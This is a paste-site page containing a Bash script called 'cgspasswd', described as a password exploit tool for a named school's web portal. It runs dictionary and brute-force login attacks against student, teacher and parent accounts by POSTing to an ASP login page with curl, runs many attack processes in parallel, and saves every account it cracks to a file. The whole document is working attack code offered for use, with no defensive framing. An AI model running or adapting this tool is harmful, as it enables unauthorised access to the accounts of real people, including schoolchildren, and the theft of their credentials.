Untitled

From Morose Curlew, 6 Years ago, written in Bash, viewed 842 times.
URL https://code.nat.moe/view/26f5a6a7 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgspasswd - Country Gardern School Password exploit tool
  4. # cgspasswd is a free software, maintaince by MagicNAT Networing
  5. # Version 0.6 (C) MagicNAT Networking
  6. #
  7. # MUTIL-PROCESS HELP
  8. #
  9. # The mutiple process function is currently in development. You can still use it. However it
  10. # might cause some problems.
  11. #
  12. # To use MP mode, create a dir with you id dict or password dict in it, cgspasswd will start
  13. # different process for each dict files in it.
  14. #
  15. # DEFINATIONS
  16. #
  17. # id: The id of student, teacher, or parent
  18. # passwd: The passwd of student, teacher, or parent
  19. # type: The type of id, could be tea, stu, or par, stand for student, teacher, and parent
  20. # verbose: Set this to get into verbose mode. Showing all password or id tried
  21. #
  22. # cgspasswd CONFIGURE
  23. #
  24. # URL_PREFIX: The prefix of url
  25. # URL_EXTENTION: The extention of url
  26. # WEEK_PASSWD_DICT: The path to week id dict
  27. # ID_DICT: The path to ID dict
  28. # PW_DICT: The path to Password dict
  29. # ID_MP_DICT: The path to ID dict dir when using mutilple process
  30. # PW_MP_DICT: The path to Password dict dir when using mutilple process
  31. # CRACK_MP_PID: The path to pid file of MP cracking work
  32. # WEEKPW_MP_PID: The path to pid file of MP weekpw exploit work
  33. # CRACKED_SAVE: The path to the file to save cracked accounts
  34.  
  35. URL_PREFIX="http://127.0.0.1:8080/mis/info/tea_info/"
  36. URL_EXTENTION="_Login.asp"
  37. WEEK_PASSWD_DICT="./dicts/wpw.dict"
  38. ID_DICT="./dicts/id.dict"
  39. PW_DICT="./dicts/pw.dict"
  40. ID_MP_DICT="./dicts/ids/"
  41. PW_MP_DICT="./dicts/pws/"
  42. CRACK_MP_PID="./.crack_mp.pid"
  43. WEEKPW_MP_PID="./.weekpw_mp.pid"
  44. CRACKED_SAVE="./cracked.txt"
  45.  
  46. # help: Get help, usage: help [topic]
  47.  
  48. function help {
  49.         [[ -z $* ]] && echo -e "\n Available topics are: config, chk_login, chk_cracked, weekpw[_mp], crack[_mp]\n mp\n" && return 0
  50.         case $1 in
  51.                 config)
  52.                         echo -e "\n CGSPASSWD CONFIGURE\n\n URL_PREFIX: The prefix of url\n URL_EXTENTION: The extention of url\n WEEK_PASSWD_DICT: The path to week id dict\n ID_DICT: The path to ID dict\n PW_DICT: The path to Password dict\n ID_MP_DICT: The path to ID dict dir when using mutilple process\n PW_MP_DICT: The path to Password dict dir when using mutilple process\n CRACK_MP_PID: The path to pid file of MP cracking work\n WEEKPW_MP_PID: The path to pid file of MP weekpw exploit work\n CRACKED_SAVE: The path to the file to save cracked accounts\n"
  53.                 ;;
  54.                 chk_login)
  55.                         echo -e "\n Check a login, usage: chk_login <id> <passwd> <type>\n id: The id of student, teacher, or parent\n passwd: The passwd of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher, \n and parent\n"
  56.                 ;;
  57.                 chk_cracked)
  58.                         echo -e "\n Check for the logins that already cracked for failure\n Usage: chk_cracked [verbose]\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  59.                 ;;
  60.                 weekpw|weekpw_mp)
  61.                         echo -e "\n weekpw[_mp]: Find week passwords with id dict and weekpasswd dict\n Usage: weekpw[_mp] <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  62.                 ;;
  63.                 crack|crack_mp)
  64.                         echo -e "\n crack[_mp]: Crack the password of an id.\n Usage: crack[_mp] <id> <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n id: The id of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  65.                 ;;
  66.                 mp)
  67.                         echo -e "\n MUTIL-PROCESS HELP\n \n The mutiple process function is currently in development. You can still use \n it. However it might cause some problems. \n\n To use MP mode, create a dir with you id dict or password dict in it, \n cgspasswd will start different process for each dict files in it.\n"
  68.                 ;;
  69.                 *)
  70.                         echo -e "\n Help topic $1 not found. $(help)\n"
  71.                 ;;
  72.                 esac
  73. }
  74.  
  75. # chk_login: Check a login, usage: chk_login <id> <passwd> <type>
  76.  
  77. function chk_login {
  78.         [[ -z $3 ]] && echo "chk_login: Missing parameters" && return 1
  79.         [[ ! -z $(curl --data "t1=$1&t2=$2" $URL_PREFIX$3$URL_EXTENTION 2> /dev/null | grep moved) ]] && echo "true" && return 0
  80.         echo "false" && return 1
  81. }
  82.  
  83. # chk_cracked: Check for the logins that already cracked for failurem, usage: chk_cracked [verbose]
  84.  
  85. function chk_cracked {
  86.         [[ ! -e $CRACKED_SAVE ]] && echo "chk_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
  87.         ACCTLIST=$(cat creaked.txt | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
  88.         for acct in $ACCTLIST
  89.         do
  90.                 typ=$(echo $acct | awk -F, '{print $1}')
  91.                 id=$(echo $acct | awk -F, '{print $2}')
  92.                 passwd=$(echo $acct | awk -F, '{print $3}')
  93.                 [[ ! -z $1 ]] && echo -n "Tesing login $id($typ) with $passwd... "
  94.                 [[ $(chk_login $id $passwd $typ) == "false" ]] && echo "Account $id, type $typ, is not able to login with $psswd now." || echo "OK"
  95.         done
  96. }
  97.  
  98. # weekpw: Find week passwords with id dict and weekpasswd dict, usage: weekpw <type> [verbose]
  99.  
  100. function weekpw {
  101.         [[ -z $1 ]] && echo "weekpw: Missing parameters" && return 1
  102.         for id in $( cat $ID_DICT )
  103.         do
  104.                 for passwd in $(cat $WEEK_PASSWD_DICT)
  105.                 do
  106.                         [[ ! -z $2 ]] && echo "Trying login $id($1) with $passwd... "
  107.                         [[ $( chk_login $id $passwd $1 ) == "true" ]] && write_cracked $id $passwd $1 && break
  108.                 done
  109.         done
  110. }
  111.  
  112. # weekpw_mp: Find week passwords with id dicts and weekpasswd dict using MP, usage: weekpw_mp <type> [verbose]
  113.  
  114. function weekpw_mp {
  115.         [[ -z $1 ]] && echo "weekpw_mp: Missing parameters" && return 1
  116.         for dict in $(ls $ID_MP_DICT)
  117.         do
  118.                 weekpw_mp_core $ID_MP_DICT$dict $1 $2 &
  119.         done
  120. }
  121.  
  122. # Internal function, core module of weekpw_mp, should not be called by user.
  123.  
  124. function weekpw_mp_core {
  125.         [[ -z $2 ]] && echo "weekpw_mp_core: Missing parameters" && return 1
  126.         echo $$ >> $WEEKPW_MP_PID
  127.         for id in $(cat $1)
  128.         do
  129.                 for passwd in $(cat $WEEK_PASSWD_DICT)
  130.                 do
  131.                         [[ ! -z $3 ]] && echo "Trying login $id($2) with $passwd... "
  132.                         [[ $( chk_login $id $passwd $2 ) == "true" ]] && write_cracked $id $passwd $2 && break
  133.                 done
  134.         done
  135.         cat $WEEKPW_MP_PID | sed -e "s/$$//g" > ._$WEEKPW_MP_PID.tmp
  136.         cat ._$WEEKPW_MP_PID.tmp > $WEEKPW_MP_PID
  137. }
  138.  
  139. # crack: Crack the password of an id, usage: crack <id> <type> [verbose]
  140.  
  141. function crack {
  142.         [[ -z $2 ]] && echo "crack: Missing parameters" && return 1
  143.         for passwd in $(cat $PW_DICT)
  144.         do
  145.                 [[ ! -z $3 ]] && echo "Trying login $1($2) with $passwd... "
  146.                 [[ $( chk_login $1 $passwd $2 ) == "true" ]] && write_cracked $1 $passwd $2 && break
  147.         done
  148. }
  149.  
  150. # crack_mp: Crack the password of an id using MP, usage: crack <id> <type> [verbose]
  151.  
  152. function crack_mp {
  153.         [[ -z $2 ]] && echo "crack_mp: Missing parameters" && return 1
  154.         for dict in $(ls $PW_MP_DICT)
  155.         do
  156.                 crack_mp_core $PW_MP_DICT$dict $1 $2 $3 &
  157.         done
  158.  
  159. }
  160.  
  161. # Internal function, core module of crack_mp, should not be called by user.
  162.  
  163. function crack_mp_core {
  164.         [[ -z $3 ]] && echo "crack_mp_core: Missing parameters" && return 1
  165.         echo $$ >> $CRACK_MP_PID
  166.         for passwd in $(cat $1)
  167.         do
  168.                 [[ ! -z $4 ]] && echo "Trying login $2($3) with $passwd... "
  169.                 [[ $( chk_login $2 $passwd $3 ) == "true" ]] && write_cracked $2 $passwd $3 && break
  170.         done
  171.         cat $CRACK_MP_PID | sed -e "s/$$//g" > ._$CRACK_MP_PID.tmp
  172.         cat ._$CRACK_MP_PID.tmp > $CRACK_MP_PID
  173. }
  174.  
  175. # Internal function, write creaked account, should not be called by user.
  176.  
  177. function write_cracked {
  178.         [[ -z $3 ]] && echo "write_cracked: Missing parameters" && return 1
  179.         MSG="[$(date)] Cracked a account, Type $3, ID $1, Password $2"
  180.         echo $MSG
  181.         echo $MSG >> $CRACKED_SAVE
  182.         return 0
  183. }
  184.  
  185. # Interactive mode
  186.  
  187. function interactive {
  188.         echo "cgspasswd 0.6 (Interactive mode) "
  189.         echo "Copyright 2014 MagicNAT Networking"
  190.         echo "This is free software with ABSOLUTELY NO WARRANTY."
  191.         echo "For help, type help"
  192.         while true
  193.         do
  194.                 echo -n "cgspasswd> "; read cmd;
  195.                 $cmd
  196.         done
  197. }
  198.  
  199. # Init cgspasswd
  200.  
  201. function cgsinit {
  202.         for files in $WEEK_PASSWD_DICT $ID_DICT $PW_DICT $ID_MP_DICT $PW_MP_DICT
  203.         do
  204.                 [[ ! -e $files || -z $URL_PREFIX || -z $URL_EXTENTION ]] && echo "cgsinit: Error while checking config file" && return 1
  205.         done
  206.         trap 2 15 'exit'
  207. }
  208.  
  209. # exit cgspasswd
  210.  
  211. function exit {
  212.         echo -n "Sending SIGKILL to all tasks... "
  213.         for mp_pid in $CRACK_MP_PID $WEEKPW_MP_PID
  214.         do
  215.                 if [[ -e $mp_pid ]]
  216.                 then
  217.                         for pid in $(cat $mp_pid)
  218.                         do
  219.                                 kill -9 $pid 2> /dev/null > /dev/null
  220.                         done
  221.                         rm $mp_pid
  222.                 fi
  223.         done
  224.         echo "OK"
  225.         echo "Sending SIGKILL to self..."
  226.         kill -9 $$
  227. }
  228.  
  229. # Main function
  230.  
  231. function main {
  232.         [[ $(cgsinit) == "false" ]] && echo "Something wrong, cgspasswd can't start." && return 1
  233.         [[ -z $* ]] && interactive
  234.         $*
  235. }
  236.  
  237. # Call main
  238.  
  239. main $*

Replies to Untitled rss

Title Name Language When
Re: Untitled Subtle Bison bash 6 Years ago.

Reply to "Untitled"

Here you can reply to the paste above

captcha